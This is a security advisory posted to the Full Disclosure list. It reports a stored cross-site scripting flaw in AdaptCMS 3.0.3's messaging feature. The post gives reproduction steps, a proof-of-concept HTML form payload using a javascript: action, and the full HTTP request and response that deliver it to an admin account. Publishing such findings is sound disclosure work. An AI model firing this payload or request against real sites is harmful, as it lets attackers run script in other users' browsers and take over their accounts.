full-disclosure - [FD] Stored XSS "Send Message" Functionality

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Message-ID: <CAF2Wu1Y+18QjsYR1e-JiBBX96q7kPRW=s6nBNVf10bQbkG_4OQ@mail.gmail.com>
Date: Sun, 1 Jun 2025 16:06:32 +0100
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Stored XSS "Send Message" Functionality - adaptcmsv3.0.3

# Exploit Title: Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
# Date: 06/2025
# Exploit Author: Andrey Stoykov
# Version: 3.0.3
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Stored XSS "Send Message" Functionality #1:

Steps to Reproduce:

1. Login as normal user and visit "Profile" > "Message" > "Send Message"
2. In "Message" field enter the following payload "<form
action="javascript:alert(1)"><input id="x" type="submit" /></form><label
for="x">XSS</label>"
3. The payload would execute upon viewing the message

// HTTP POST request sending message

POST /adaptcms/messages/send HTTP/1.1
Host: 192.168.58.131
Content-Length: 591
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://192.168.58.131
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
[...]

_method=POST&data[_Token][key]=aabf09c7e75b47229d84deadd98c6ab65e87f979&data[Message][recipient]=admin&data[Message][title]=test&data[Message][message]=<form
action="javascript:alert(1)"><input id="x" type="submit" /></form>
<p><label
for="x">XSS</label></p>&data[Message][parent_id]=0&data[Message][receiver_user_id]=1&data[_Token][fields]=a989058dd1dcaad53b324c3233dfc1e8f20ba411%3AMessage.parent_id%7CMessage.receiver_user_id&data[_Token][unlocked]=

// HTTP Response

HTTP/1.1 302 Found
Date: Fri, 30 May 2025 19:01:10 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Location: http://192.168.58.131/adaptcms/messages/index/outbox
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
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